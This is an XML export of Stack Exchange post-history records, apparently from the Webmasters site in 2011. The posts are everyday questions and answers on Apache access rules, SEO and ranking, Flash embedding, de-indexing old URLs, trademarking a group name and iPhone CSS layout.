  <row Id="31424" PostHistoryTypeId="2" PostId="13585" RevisionGUID="00c4c680-a5a5-483c-81fc-739253d7fe97" CreationDate="2011-05-08T14:01:09.193" UserDisplayName="Berry Langerak" Text="If you have control over the server (or at least the virtualhosts), you can deny access for specific files or folders in the virtualhost directive. If not, you can work with .htaccess." />
  <row Id="31425" PostHistoryTypeId="2" PostId="13583" RevisionGUID="1e8fd0dc-58e1-401e-80c0-16f7fda24086" CreationDate="2011-05-08T13:46:24.230" UserDisplayName="Frodik" Text="I have very specific problem and I don't even know if I am asking at right place and if it is even possible.&#xD;&#xA;&#xD;&#xA;I have two domains, lets say domain1.com and domain2.com. Both domains share same root directory. So each file from www.domain1.com/file_url is accessible also as www.domain2.com/file_url&#xD;&#xA;&#xD;&#xA;I am looking for a way, how to disable SOME of the files when requested with domain2.com. But not all of them, but just selected ones. Is it possible to set some &quot;flag&quot; or attribute for a file so Apache would recognize it and denied it when requested with domain2.com ?&#xD;&#xA;&#xD;&#xA;Right now, the only solution which come to my mind is to create PHP script and use rewrite of each file in the directory and implement this &quot;flag&quot; checking inside this PHP file. But that would cost a lot of system resources, so I would thought if this could be done else ?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I have forgotten to specify that I am dealing with MANY files ( = thousands ), so I am not able to manually change config file for Apache. And those files are constantly growing since they are user-uploaded. Sorry I forgot to mention this important detail. " />
  <row Id="31426" PostHistoryTypeId="1" PostId="13583" RevisionGUID="1e8fd0dc-58e1-401e-80c0-16f7fda24086" CreationDate="2011-05-08T13:46:24.230" UserDisplayName="Frodik" Text="Disable serving specific files from web directory based on hostname used" />
  <row Id="31427" PostHistoryTypeId="3" PostId="13583" RevisionGUID="1e8fd0dc-58e1-401e-80c0-16f7fda24086" CreationDate="2011-05-08T13:46:24.230" UserDisplayName="Frodik" Text="&lt;php&gt;&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="31428" PostHistoryTypeId="17" PostId="13583" RevisionGUID="7c4b8d69-ec78-4361-9385-030b801d4549" CreationDate="2011-05-10T11:30:26.253" UserId="-1" Comment="from http://stackoverflow.com/questions/5927794/disable-serving-specific-files-from-web-directory-based-on-hostname-used" Text="" />
  <row Id="31429" PostHistoryTypeId="17" PostId="13587" RevisionGUID="8a264431-295a-4ae8-94fe-ee274c291508" CreationDate="2011-05-10T12:06:07.657" UserId="-1" Comment="from http://stackoverflow.com/questions/5918275/better-seo-from-sub-directory-or-sub-domain/5918292#5918292" Text="" />
  <row Id="31430" PostHistoryTypeId="2" PostId="13587" RevisionGUID="c1583152-7b13-4c81-bcee-b499e70bc252" CreationDate="2011-05-07T00:22:01.260" UserId="2265" Text="A subdomain is considered a different domain so no page rank will transfer. If you want to share page rank put it in a subdirectory." />
  <row Id="31431" PostHistoryTypeId="2" PostId="13586" RevisionGUID="a3dfd497-1e69-4c11-b958-669c9204d140" CreationDate="2011-05-07T00:18:53.453" UserId="6380" Text="I'm working on a site that will act as a sort of companion site or sub-site to my main site. &#xD;&#xA;&#xD;&#xA;Is there a difference in SEO of setting it up on a sub-domain or sub-directory?" />
  <row Id="31432" PostHistoryTypeId="1" PostId="13586" RevisionGUID="a3dfd497-1e69-4c11-b958-669c9204d140" CreationDate="2011-05-07T00:18:53.453" UserId="6380" Text="Better SEO from sub-directory or sub-domain?" />
  <row Id="31433" PostHistoryTypeId="3" PostId="13586" RevisionGUID="a3dfd497-1e69-4c11-b958-669c9204d140" CreationDate="2011-05-07T00:18:53.453" UserId="6380" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="31434" PostHistoryTypeId="17" PostId="13586" RevisionGUID="566e2417-199a-4a40-832d-e8e07f1c59c9" CreationDate="2011-05-10T12:06:07.657" UserId="-1" Comment="from http://stackoverflow.com/questions/5918275/better-seo-from-sub-directory-or-sub-domain" Text="" />
  <row Id="31435" PostHistoryTypeId="5" PostId="13586" RevisionGUID="dabef693-c2a2-4a21-9f85-f3f26927861b" CreationDate="2011-05-10T12:07:34.970" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subdomain versus subdirectory](http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm working on a site that will act as a sort of companion site or sub-site to my main site. &#xD;&#xA;&#xD;&#xA;Is there a difference in SEO of setting it up on a sub-domain or sub-directory?" />
  <row Id="31436" PostHistoryTypeId="10" PostId="13586" RevisionGUID="45fd06d0-697f-4948-8ce5-1c960eb4b0a8" CreationDate="2011-05-10T12:07:34.597" UserId="3" CloseReasonId="1" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="31437" PostHistoryTypeId="25" PostId="13580" RevisionGUID="5fbb1865-6c72-4362-9bdb-ddd9693b35ae" CreationDate="2011-05-10T12:11:39.290" Comment="http://twitter.com/#!/StackWebmasters/status/67924758406250496" />
  <row Id="31439" PostHistoryTypeId="2" PostId="13588" RevisionGUID="f8ce111d-9aed-4f4b-a719-8ca47ad23d80" CreationDate="2011-05-09T10:26:15.330" UserDisplayName="flappy" Text="Say I have a couple of trivial products in categories.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    Hair Products&#xD;&#xA;    - Shampoo&#xD;&#xA;    &#xD;&#xA;    Food&#xD;&#xA;    - Bread&#xD;&#xA;    - Cookies&#xD;&#xA;&#xD;&#xA;URLs are friendly Rails slugs like&#xD;&#xA;&#xD;&#xA;&gt; /categories/hair-products/products/shampoo&#xD;&#xA;&gt; &#xD;&#xA;&gt; /categories/food&#xD;&#xA;&#xD;&#xA;While looking at my search results, I drew a horrifying conclusion.&#xD;&#xA;When using a search query like &quot;shampoo&quot;, a user lands on the /categories/hair-products page, not on the /products/shampoo page, for Shampoo is one of the words on the hair-products page.&#xD;&#xA;&#xD;&#xA;Sometimes, when searching for &quot;hair products&quot;, users tend to land on the &quot;Shampoo&quot; page, because the word &quot;Hair Products&quot; is on there (as well as Shampoo in a H1 tag).&#xD;&#xA;Trust me, I did some serious SEO work on the site already.&#xD;&#xA;&#xD;&#xA;Is there a way to have search engine &quot;favor&quot; a &quot;product&quot; instead of a category?" />
  <row Id="31440" PostHistoryTypeId="1" PostId="13588" RevisionGUID="f8ce111d-9aed-4f4b-a719-8ca47ad23d80" CreationDate="2011-05-09T10:26:15.330" UserDisplayName="flappy" Text="Search result priorities" />
  <row Id="31441" PostHistoryTypeId="3" PostId="13588" RevisionGUID="f8ce111d-9aed-4f4b-a719-8ca47ad23d80" CreationDate="2011-05-09T10:26:15.330" UserDisplayName="flappy" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;" />
  <row Id="31442" PostHistoryTypeId="17" PostId="13588" RevisionGUID="a3cddb3c-4d58-4ae7-a0de-578f021c8ab9" CreationDate="2011-05-10T12:32:02.907" UserId="-1" Comment="from http://stackoverflow.com/questions/5935547/search-result-priorities" Text="" />
  <row Id="31443" PostHistoryTypeId="2" PostId="13589" RevisionGUID="e3b84c32-b773-4277-848c-519c797e10d7" CreationDate="2011-05-10T13:13:17.603" UserId="7405" Text="I believe the answer to that is largely going to depend on the software that is running your portal and your user requirements.  Some applications are written very efficiently and don't require a huge amount of resources to run (memory, CPU, disk, bandwidth, etc.).  In a multi-tier setup (web server, application server, and database server), the size of your server is generally going to get larger the further down you go (application server will be bigger than the web server, database server will be bigger than the application server).&#xD;&#xA;&#xD;&#xA;Another factor to consider is the number of concurrent users.  If you are expecting a lot of those 10,000 users to be on the system at the same time, you can probably expect that you will need a pretty large web server.  Realistically, you should probably be looking at load balancing which will help in both performance and scalability.&#xD;&#xA;&#xD;&#xA;So really, the short answer to your question is...it depends.  You will need to make sure you have clear requirements related to performance and up-time before deciding on the exact server infrastructure that will run your application.  If it is an off the shelf application then the vendor documentation should be able to provide some guidelines on how best to scale each tier." />
  <row Id="31444" PostHistoryTypeId="2" PostId="13590" RevisionGUID="428c9a97-5e37-4d5b-a31a-ab442168310f" CreationDate="2011-05-10T13:19:01.760" UserId="1253" Text="There is no direct way to have them favor a page over another. You can try to influence it with URLs, page tiles, headings, etc, but there are a lot of factors involved in ranking a page and they can point to one page being more relevant then another no matter how hard you try to dictate otherwise. With inner pages like your shampoo page it's tough to get it to outrank a higher page for generic terms like &quot;shampoo&quot; because of the way web sites are naturally structured they tend to automatically give precedence to higher level pages which is usually a good thing.&#xD;&#xA;&#xD;&#xA;But, if you want to give yourself every chance to have one page rank then another for a specific term then make sure you do as many of the following as possible (I'm sure you've done a bunch of these but I'm going to list as many as possible for everyone's refernce):&#xD;&#xA;&#xD;&#xA; - Make sure the title of the shampoo page is &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the title of the &quot;hair products page&quot; (although in the big picture I don't think this is a good idea)&#xD;&#xA; - Make sure the URL of the shampoo page contains &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the url of the &quot;hair products page&quot; (In your case this is already done)&#xD;&#xA; - Make sure the H1 tag of the shampoo page contains &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the H1 tagof the &quot;hair products page&quot; (In your case this is already done)&#xD;&#xA; - Make sure their is a link on the hair products page to the shampoo page containing the anchor text of &quot;shampoo&quot;&#xD;&#xA; - Link to the shampoo page from a higher page in your website, like your home page.&#xD;&#xA; - Cross link your inner pages as much as possible. A &quot;similar products&quot; or &quot;you may also be interested in&quot; list is a good way to link to other internal pages. Internal links can make quite a difference in rankings.&#xD;&#xA; - Get direct links to your shampoo page from external sites&#xD;&#xA;    - Make sure those links are on shampoo related pages&#xD;&#xA;    - Make sure the anchor text of those links contain the word &quot;shampoo&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31445" PostHistoryTypeId="2" PostId="13591" RevisionGUID="954d2f9f-9244-4edf-8348-f579ce97da36" CreationDate="2011-05-10T13:29:07.007" UserId="7405" Text="You will likely need to setup separate Feedburner feeds for each language since the source RSS will be coming from two different places.  Within the feed settings on Feedburner, if you go to the 'Optimize' tab, the 'BrowserFriendly' section allows you to change the language of the theme that is used by Feedburner so that your subscribers have a language specific interface (the ClearFeed theme has both an English and Dutch version).&#xD;&#xA;&#xD;&#xA;From the 'Publicize' tab, the 'Email Subscriptions' setting has a similar setting, although the number of languages there is fairly limited (it does not look like Dutch is an option)." />
  <row Id="31446" PostHistoryTypeId="5" PostId="13590" RevisionGUID="7454da91-d126-48f7-9ae4-993de08e238e" CreationDate="2011-05-10T13:38:40.223" UserId="1253" Comment="added 7 characters in body; added 1 characters in body" Text="There is no direct way to have them favor a page over another. You can try to influence it with URLs, page tiles, headings, etc, but there are a lot of factors involved in ranking a page and they can point to one page being more relevant then another no matter how hard you try to dictate otherwise. With inner pages like your shampoo page it's tough to get it to outrank a higher page for generic terms like &quot;shampoo&quot; because of the way web sites are naturally structured they tend to automatically give precedence to higher level pages which is usually a good thing.&#xD;&#xA;&#xD;&#xA;But, if you want to give yourself every chance to have one page rank higher then another for a specific term then make sure you do as many of the following as possible (I'm sure you've done a bunch of these but I'm going to list as many as possible for everyone's reference):&#xD;&#xA;&#xD;&#xA; - Make sure the title of the shampoo page is &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the title of the &quot;hair products page&quot; (although in the big picture I don't think this is a good idea)&#xD;&#xA; - Make sure the URL of the shampoo page contains &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the url of the &quot;hair products page&quot; (In your case this is already done)&#xD;&#xA; - Make sure the H1 tag of the shampoo page contains &quot;shampoo&quot; and that &quot;shampoo&quot; is not in the H1 tagof the &quot;hair products page&quot; (In your case this is already done)&#xD;&#xA; - Make sure their is a link on the hair products page to the shampoo page containing the anchor text of &quot;shampoo&quot;&#xD;&#xA; - Link to the shampoo page from a higher page in your website, like your home page.&#xD;&#xA; - Cross link your inner pages as much as possible. A &quot;similar products&quot; or &quot;you may also be interested in&quot; list is a good way to link to other internal pages. Internal links can make quite a difference in rankings.&#xD;&#xA; - Get direct links to your shampoo page from external sites&#xD;&#xA;    - Make sure those links are on shampoo related pages&#xD;&#xA;    - Make sure the anchor text of those links contain the word &quot;shampoo&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31448" PostHistoryTypeId="2" PostId="13592" RevisionGUID="0b999b62-44d6-4322-9995-5d03dcf02af3" CreationDate="2011-05-10T14:56:42.457" UserId="2251" Text="I've recently learned that HTML5 now officially supports the `&lt;embed&gt;` tag. With that in mind, is there any reason not to just use it to embed Flash content into HTML5? Would there be any browser issues or concerns if I did this?&#xD;&#xA;&#xD;&#xA;I'm aware of SWFObject, but I'm trying to find a really simple and neat solution that doesn't rely on JavaScript.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31449" PostHistoryTypeId="1" PostId="13592" RevisionGUID="0b999b62-44d6-4322-9995-5d03dcf02af3" CreationDate="2011-05-10T14:56:42.457" UserId="2251" Text="Is there any downside to using &lt;embed&gt; with Flash content?" />
  <row Id="31450" PostHistoryTypeId="3" PostId="13592" RevisionGUID="0b999b62-44d6-4322-9995-5d03dcf02af3" CreationDate="2011-05-10T14:56:42.457" UserId="2251" Text="&lt;html&gt;&lt;css&gt;&lt;html5&gt;&lt;flash&gt;&lt;embed&gt;" />
  <row Id="31451" PostHistoryTypeId="2" PostId="13593" RevisionGUID="46f4582a-d2ff-4e1d-9357-b420c520df24" CreationDate="2011-05-10T15:00:34.890" UserId="1643" Text="Not every browser supports Flash, for example on the iPhone. Or users may have a browser extension installed that blocks Flash. If you're using Flash to do something important then you need to think what those users will do if the Flash component doesn't work for them." />
  <row Id="31452" PostHistoryTypeId="2" PostId="13594" RevisionGUID="127a588f-7371-406c-83a2-94e0970fca2d" CreationDate="2011-05-10T15:03:03.407" UserId="108" Text="Your biggest issue will be with users on iPhone/iPad devices as flash doesn't work for them at all.  It also depends on what you are trying to do. If you don't care about mobile platforms then you are most likely fine.&#xD;&#xA;&#xD;&#xA;If you do plan on having mobile users then you need to support non-flash solutions.  Also, if you plan on displaying video through your flash player then that is a whole new bag of worms because different devices support different video formats and sizes and you will need to accommodate them all." />
  <row Id="31453" PostHistoryTypeId="25" PostId="13592" RevisionGUID="60b34640-5164-4087-b5c9-9ecde2acae65" CreationDate="2011-05-10T15:11:39.630" Comment="http://twitter.com/#!/StackWebmasters/status/67970057958989824" />
  <row Id="31454" PostHistoryTypeId="5" PostId="13592" RevisionGUID="7de9db70-de6e-4d75-b23b-d972495185f9" CreationDate="2011-05-10T15:13:51.533" UserId="2251" Comment="added 145 characters in body" Text="I've recently learned that HTML5 now officially supports the `&lt;embed&gt;` tag. With that in mind, is there any reason not to just use it to embed Flash content into HTML5? Would there be any browser issues or concerns if I did this?&#xD;&#xA;&#xD;&#xA;I'm aware of SWFObject, but I'm trying to find a really simple and neat solution that doesn't rely on JavaScript.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Edit: My only concerns are: FF3, FF4, IE7, IE8, IE9, Chrome and Safari. Mobile users are not a consideration and I'm not streaming any video." />
  <row Id="31455" PostHistoryTypeId="2" PostId="13595" RevisionGUID="10368cc6-d8cc-4871-b8a5-00e821bb0bad" CreationDate="2011-05-10T15:53:54.680" UserId="7401" Text="I would say next to your headline because if it's catchy people would like to share it instantly. I agree you may want to go down the route of user testing. " />
  <row Id="31459" PostHistoryTypeId="2" PostId="13597" RevisionGUID="aaf75203-cdff-4b9a-9a6c-28089267767b" CreationDate="2011-05-10T16:52:16.870" UserId="7407" Text="do Google index content generated using javascript I'm using this function to write the text&#xD;&#xA;&#xD;&#xA;document.write(String.fromCharCode&#xD;&#xA;&#xD;&#xA;something like that&#xD;&#xA;&#xD;&#xA;document.write(String.fromCharCode(60,112,62,65,100,100,32,100,101,115,99,114,105,112,116,105,111,110,32,102,111,114,32,121,111,117,114,32,65,114,116,105,99,108,101,32,102,114,111,109,32,104,101,114,101,46,60,47,112,62,10));&#xD;&#xA;&#xD;&#xA;and if Google don't index javascript will it regard this code as malicious as this function is also used to generate malicious javascript codes of course I'm not using malicious &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="31460" PostHistoryTypeId="1" PostId="13597" RevisionGUID="aaf75203-cdff-4b9a-9a6c-28089267767b" CreationDate="2011-05-10T16:52:16.870" UserId="7407" Text="Does Google index content generated using javascript ?" />
  <row Id="31461" PostHistoryTypeId="3" PostId="13597" RevisionGUID="aaf75203-cdff-4b9a-9a6c-28089267767b" CreationDate="2011-05-10T16:52:16.870" UserId="7407" Text="&lt;google&gt;&lt;javascript&gt;&lt;indexing&gt;" />
  <row Id="31462" PostHistoryTypeId="5" PostId="13597" RevisionGUID="14a1eb2c-9aa1-4576-9cef-454f3a26ee62" CreationDate="2011-05-10T16:56:00.790" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does the google spider render javascript?](http://webmasters.stackexchange.com/questions/5653/does-the-google-spider-render-javascript)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;do Google index content generated using javascript I'm using this function to write the text&#xD;&#xA;&#xD;&#xA;document.write(String.fromCharCode&#xD;&#xA;&#xD;&#xA;something like that&#xD;&#xA;&#xD;&#xA;document.write(String.fromCharCode(60,112,62,65,100,100,32,100,101,115,99,114,105,112,116,105,111,110,32,102,111,114,32,121,111,117,114,32,65,114,116,105,99,108,101,32,102,114,111,109,32,104,101,114,101,46,60,47,112,62,10));&#xD;&#xA;&#xD;&#xA;and if Google don't index javascript will it regard this code as malicious as this function is also used to generate malicious javascript codes of course I'm not using malicious &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="31463" PostHistoryTypeId="10" PostId="13597" RevisionGUID="ebd333a4-2413-40d0-98a6-4f9944ddb2d7" CreationDate="2011-05-10T16:56:00.023" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31464" PostHistoryTypeId="17" PostId="13599" RevisionGUID="8518fc13-2f9f-4946-95ff-85fbd58698b4" CreationDate="2011-05-10T17:41:27.070" UserId="-1" Comment="from http://stackoverflow.com/questions/5951014/return-all-links-from-a-google-search/5951110#5951110" Text="" />
  <row Id="31465" PostHistoryTypeId="17" PostId="13600" RevisionGUID="f109d187-c769-4f0f-a608-a52a2f890b45" CreationDate="2011-05-10T17:41:27.070" UserId="-1" Comment="from http://stackoverflow.com/questions/5951014/return-all-links-from-a-google-search/5951137#5951137" Text="" />
  <row Id="31466" PostHistoryTypeId="17" PostId="13601" RevisionGUID="13b42a36-6802-45af-bf09-53422ec68444" CreationDate="2011-05-10T17:41:27.070" UserId="-1" Comment="from http://stackoverflow.com/questions/5951014/return-all-links-from-a-google-search/5951138#5951138" Text="" />
  <row Id="31467" PostHistoryTypeId="2" PostId="13599" RevisionGUID="b16b0f49-1fdd-494b-b77a-1f54373fee12" CreationDate="2011-05-10T13:50:08.377" UserId="9366" UserDisplayName="denislexic" Text="If you are switching from xyz.com to abc.com, you could just use a 301 redirect and let google figure it out.  It takes a couple of days, but google will most likely re crawl your site afterwards.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="31468" PostHistoryTypeId="2" PostId="13600" RevisionGUID="81a3f18e-057e-4fa9-bf1f-dd79323daacf" CreationDate="2011-05-10T13:51:57.637" UserDisplayName="PachinSV" Text="It's just a matter of time, when the google crawler decides to visit your new site. And maybe creating a sitemap for google would speed up the task. I think this link could help you too:&#xD;&#xA;&#xD;&#xA;http://www.google.com/addurl/?continue=/addurl" />
  <row Id="31469" PostHistoryTypeId="2" PostId="13601" RevisionGUID="47f52e1f-198b-468a-843b-dd253e992d97" CreationDate="2011-05-10T13:52:00.387" UserDisplayName="Dave" Text="I believe [this Google page][1] has the answer(s) you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=164734" />
  <row Id="31470" PostHistoryTypeId="2" PostId="13598" RevisionGUID="1e04b7f7-8a3c-47b5-8c47-e5e7b139aec0" CreationDate="2011-05-10T13:43:13.757" UserDisplayName="Dan" Text="We just &lt;del&gt;launched&lt;/del&gt; relaunched our &lt;del&gt;new&lt;/del&gt; website and I need to remove all of old links from googles index. I did a site:ourdomain.com but I don't really feel like copying and pasting all of the links that way. Is there an easier way?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;We relaunched our site. All of our URLs have changed." />
  <row Id="31471" PostHistoryTypeId="1" PostId="13598" RevisionGUID="1e04b7f7-8a3c-47b5-8c47-e5e7b139aec0" CreationDate="2011-05-10T13:43:13.757" UserDisplayName="Dan" Text="Return all links from a google search" />
  <row Id="31472" PostHistoryTypeId="3" PostId="13598" RevisionGUID="1e04b7f7-8a3c-47b5-8c47-e5e7b139aec0" CreationDate="2011-05-10T13:43:13.757" UserDisplayName="Dan" Text="&lt;html&gt;&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="31473" PostHistoryTypeId="17" PostId="13598" RevisionGUID="56cd1ae1-fbbe-4478-b089-951eea22d2e2" CreationDate="2011-05-10T17:41:27.070" UserId="-1" Comment="from http://stackoverflow.com/questions/5951014/return-all-links-from-a-google-search" Text="" />
  <row Id="31474" PostHistoryTypeId="5" PostId="13598" RevisionGUID="c52e6e24-bde2-4da2-b43d-253086ab58a5" CreationDate="2011-05-10T17:42:10.520" UserId="4" Comment="deleted 87 characters in body; edited tags" Text="We just relaunched our website and I need to remove all of old links from googles index. I did a `site:ourdomain.com` search but I don't really feel like copying and pasting all of the links that way.&#xD;&#xA;&#xD;&#xA;Is there an easier way?" />
  <row Id="31475" PostHistoryTypeId="6" PostId="13598" RevisionGUID="c52e6e24-bde2-4da2-b43d-253086ab58a5" CreationDate="2011-05-10T17:42:10.520" UserId="4" Comment="deleted 87 characters in body; edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;search&gt;" />
  <row Id="31476" PostHistoryTypeId="2" PostId="13602" RevisionGUID="a03e7419-bf5e-4194-aabe-62c70068b6d1" CreationDate="2011-05-10T17:55:54.863" UserId="7409" Text="I am looking for advice.  We have a social group.  Our president chose to leave our group, (do not wish to name the name).  This president founded the group and choose the name.  The group pays dues and has annual parties of which the proceeds go back to the group for other functions. The president stole the money.  When we confronted the president, they quit the group.  I have checked and the name is not trademarked.  We want to trademark the name to prevent the former president from having a claim to the money under the group name.  Can we do this legally?" />
  <row Id="31477" PostHistoryTypeId="1" PostId="13602" RevisionGUID="a03e7419-bf5e-4194-aabe-62c70068b6d1" CreationDate="2011-05-10T17:55:54.863" UserId="7409" Text="Can we trademark the name of our group of which the founder and president is no longer associated?" />
  <row Id="31478" PostHistoryTypeId="3" PostId="13602" RevisionGUID="a03e7419-bf5e-4194-aabe-62c70068b6d1" CreationDate="2011-05-10T17:55:54.863" UserId="7409" Text="&lt;registration&gt;" />
  <row Id="31479" PostHistoryTypeId="2" PostId="13603" RevisionGUID="bf71ff44-38cb-40ec-a45f-8840126850a0" CreationDate="2011-05-10T18:05:06.833" UserId="1253" Text=" - Do a 301 redirect from any old URLs that have a corresponding URL in the relaunched website. This will allow Google, and your users, to find and associate the old pages with the new. This is important for SEO as it carries over any links you have pointing to the old URLs.&#xD;&#xA;&#xD;&#xA; - Serve a 404 error for any pages that no longer exist and do not have a corresponding URL in the relaunched website. This will tell Google those pages are gone and to remove them from their index.&#xD;&#xA;&#xD;&#xA; - Make a 404 page that tells users your site has been redesigned and try to point them towards the new pages. At the very least point to a sitemap and where they can ask for help." />
  <row Id="31480" PostHistoryTypeId="2" PostId="13604" RevisionGUID="18c6501e-2b4f-42fa-a99c-cd437c27661e" CreationDate="2011-05-10T18:05:53.550" UserId="7085" Text="Sorry if this is only half an answer, but it may solve your problem.&#xD;&#xA;&#xD;&#xA;Most of the wysiwyg editor on Joomla (surely TinyMCE, JCE) can be configured to show only certain buttons on the toolbar; that means you can end up with the same set of button as the one used on this very site.&#xD;&#xA;&#xD;&#xA;So, yes: there are some; the common wysiwyg editors, adequately configured.&#xD;&#xA;" />
  <row Id="31481" PostHistoryTypeId="6" PostId="13598" RevisionGUID="eedfd95b-1ddb-4d52-81e4-d9edc2a1e4a6" CreationDate="2011-05-10T18:06:05.973" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="31482" PostHistoryTypeId="6" PostId="13602" RevisionGUID="a3c6d6f3-2657-4294-ad39-ab53dca34bd9" CreationDate="2011-05-10T18:07:22.400" UserId="1253" Comment="modified tags" Text="&lt;legal&gt;" />
  <row Id="31483" PostHistoryTypeId="25" PostId="13602" RevisionGUID="7f926c1e-72cf-4cdd-8d8c-43543e32edf2" CreationDate="2011-05-10T18:11:39.370" Comment="http://twitter.com/#!/StackWebmasters/status/68015356081487872" />
  <row Id="31484" PostHistoryTypeId="2" PostId="13605" RevisionGUID="8e167129-a7c8-4934-b39b-aa8e0bae8f3d" CreationDate="2011-05-10T18:49:35.260" UserId="7410" Text="Another reason for getting the .us domain is to protect your business name.  Even if you have widget.com, you should also get widget.us to prevent it use by another similar company, diluting the name.&#xD;&#xA;&#xD;&#xA;Ron" />
  <row Id="31485" PostHistoryTypeId="2" PostId="13606" RevisionGUID="c27724e7-588a-4d63-954b-6bd9a2db3650" CreationDate="2011-05-10T20:03:33.340" UserId="5847" Text="Yes. In cases of dispute, this disparity of rights is often referred to as &quot;first to file&quot; as opposed to &quot;first to use.&quot; In most systems, a trademark can be registered if it is able to distinguish the goods or services of a party, will not confuse consumers about the relationship between one party and another, and will not otherwise deceive consumers with respect to the qualities of the product.&#xD;&#xA;&#xD;&#xA;The owner of a registered trademark may commence legal proceedings for trademark infringement to prevent unauthorized use of that trademark. However, registration is not required. The owner of a common law trademark may also file suit, but an unregistered mark may be protectable only within the geographical area within which it has been used or in geographical areas into which it may be reasonably expected to expand.&#xD;&#xA;&#xD;&#xA;In the United States the registration process entails several steps prior to a trademark receiving its Certificate of Registration.[6] First, an Applicant, the individual or entity applying for the registration, files an application to register the respective trademark. The application is then placed in line in the order it was received to be examined by an examining attorney for the U.S. Patent and Trademark Office. Second, following a period of anywhere from three to six months the application is reviewed by an examining attorney to make sure that it complies with all requirements in order to be entitled to registration.[7] This review includes procedural matters such as making sure the applicant's goods or services are identified properly. It also includes more substantive matters such as making sure the applicant's mark is not merely descriptive or likely to cause confusion with a pre-existing applied-for or registered mark.[8] If the application runs afoul of any requirement, the examining attorney will issue an office action requiring the applicant to address certain issues or refusals prior to registration of the mark. Third, and after the examination of the mark has concluded with no issues to be addressed or an applicant has responded adequately to an examining attorney's concerns, the application will be published for opposition. During this 30-day period third-parties who may be affected by the registration of the trademark may step forward to file an Opposition Proceeding to stop the registration of the mark. If an Opposition proceeding is filed it institutes a case before the Trademark Trial and Appeal Board to determine both the validity of the grounds for the opposition as well as the ability of the applicant to register the mark at issue.[9] Fourth, provided that no third-party opposes the registration of the mark during the opposition period or the opposition is ultimately decided in the applicant's favor the mark will be registered in due course.&#xD;&#xA;&#xD;&#xA;You can read more on [Trademarks on Wikipedia][1]&#xD;&#xA;&#xD;&#xA;Disclaimer: I am not a lawyer. All information given is from Wikipedia. You might want to consult with a lawyer. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Trademark" />
  <row Id="31486" PostHistoryTypeId="17" PostId="13608" RevisionGUID="f14abb18-8bc6-406f-8893-fcae447c31ee" CreationDate="2011-05-10T20:05:05.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5955629/my-website-looks-almost-perfect-on-my-iphone-almost/5955756#5955756" Text="" />
  <row Id="31487" PostHistoryTypeId="2" PostId="13608" RevisionGUID="78783982-b38b-45bc-bb21-ed9d2a7d4937" CreationDate="2011-05-10T20:01:26.907" UserDisplayName="pst" Text="See [The CSS Box Model](http://www.w3.org/TR/CSS21/box.html)&#xD;&#xA;&#xD;&#xA;A width of &quot;350px&quot; likely is not doing what is expected.&#xD;&#xA;&#xD;&#xA;Happy coding." />
  <row Id="31488" PostHistoryTypeId="2" PostId="13607" RevisionGUID="0801e7b4-7270-4036-930e-2bb2cb738959" CreationDate="2011-05-10T19:49:12.650" UserDisplayName="micropsari" Text="You can see here a (very) simplified version of my website: http://ple100.free.fr/foo  &#xD;&#xA;And on iPhone, it looks like this: http://ple100.free.fr/foo/iphone.png&#xD;&#xA;&#xD;&#xA;As you can see, we don't see the right border of the page. And we have a black border on the left... I'd like it to be like this: http://ple100.free.fr/foo/iphone2.png  &#xD;&#xA;Do you know how to solve this problem?&#xD;&#xA;&#xD;&#xA;Here is the CSS: http://ple100.free.fr/foo/style.css" />
  <row Id="31489" PostHistoryTypeId="1" PostId="13607" RevisionGUID="0801e7b4-7270-4036-930e-2bb2cb738959" CreationDate="2011-05-10T19:49:12.650" UserDisplayName="micropsari" Text="My website looks almost perfect on my iPhone. Almost." />
  <row Id="31490" PostHistoryTypeId="3" PostId="13607" RevisionGUID="0801e7b4-7270-4036-930e-2bb2cb738959" CreationDate="2011-05-10T19:49:12.650" UserDisplayName="micropsari" Text="&lt;iphone&gt;&lt;css&gt;" />
  <row Id="31491" PostHistoryTypeId="17" PostId="13607" RevisionGUID="f2e14b06-ae2a-41ad-9f2a-c07908e43589" CreationDate="2011-05-10T20:05:05.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5955629/my-website-looks-almost-perfect-on-my-iphone-almost" Text="" />
